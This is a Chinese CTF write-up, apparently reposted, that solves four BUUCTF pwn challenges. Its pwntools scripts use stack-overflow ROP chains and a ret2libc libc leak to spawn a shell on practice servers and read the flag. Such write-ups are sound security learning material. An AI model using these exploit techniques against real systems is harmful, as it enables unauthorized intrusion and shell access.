PWN-PRACTICE-BUUCTF-5
生活随笔
收集整理的這篇文章主要介紹了
PWN-PRACTICE-BUUCTF-5
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
PWN-PRACTICE-BUUCTF-5
- jarvisoj_level2_x64
- ciscn_2019_n_5
- others_shellcode
- ciscn_2019_ne_5
jarvisoj_level2_x64
這題和[HarekazeCTF2019]baby_rop幾乎一模一樣
from pwn import * #context.log_level="debug" io=remote('node4.buuoj.cn',27023) elf=ELF('./level2_x64') io.recvuntil("Input:\n") pop_rdi_ret=0x00000000004006b3 ret=0x00000000004004a1 system=elf.plt['system'] main=0x0000000000400620 binsh=0x0000000000600A90 payload="a"*(128+8)+p64(pop_rdi_ret)+p64(binsh)+p64(ret)+p64(system)+p64(main) io.sendline(payload) io.sendline("cat flag") io.interactive()ciscn_2019_n_5
棧溢出ret2libc
from pwn import * context.log_level="debug" io=remote('node4.buuoj.cn',27687) elf=ELF("./ciscn_2019_n_5") libc=ELF("./libc-2.27-18-x64.so") io.recvuntil("your name\n") io.sendline("p1umh0") io.recvuntil("say to me?\n") pop_rdi_ret=0x0000000000400713 puts_got=elf.got["puts"] puts_plt=elf.plt["puts"] main=0x0000000000400636 ret=0x00000000004004c9 payload="a"*(30+2+8)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main) io.sendline(payload) puts_addr=u64(io.recvuntil("\n",drop=True).ljust(8,"\x00")) print(hex(puts_addr)) libc_base=puts_addr-libc.sym["puts"] system=libc_base+libc.sym["system"] binsh=libc_base+libc.search("/bin/sh").next() payload_2="a"*(30+2+8)+p64(pop_rdi_ret)+p64(binsh)+p64(ret)+p64(system)+p64(main) io.recvuntil("your name\n") io.sendline("p1umh0") io.recvuntil("say to me?\n") io.sendline(payload_2) io.sendline("cat flag") io.interactive()others_shellcode
程序在getShell函數中執行了系統調用,execve("/bin/sh"),nc連接上直接cat flag即可
ciscn_2019_ne_5
case 1的AddLog讀取數據,最大長度128
case 4的GetFlag將讀取的數據拷貝到dest,于是可以構成棧溢出
程序包含了system,找一個"/bin/sh"或者"sh"來用
覆蓋eip到system
from pwn import * io=remote('node4.buuoj.cn',29535) elf=ELF('./ciscn_2019_ne_5') io.recvuntil("password:") io.sendline("administrator") io.recvuntil("0.Exit\n:") io.sendline("1") io.recvuntil("log info:") system=elf.plt['system'] main=0x08048722 sh=0x080482ea payload="a"*(0x48+4)+p32(system)+p32(main)+p32(sh) io.sendline(payload) io.recvuntil("0.Exit\n:") io.sendline("4") io.sendline("cat flag") io.interactive() 創作挑戰賽新人創作獎勵來咯,堅持創作打卡瓜分現金大獎總結
以上是生活随笔為你收集整理的PWN-PRACTICE-BUUCTF-5的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 浦发万用随借金如何还款 浦发随借金约定还
- 下一篇: 神作天价!《蝙蝠侠:黑暗骑士归来》封面拍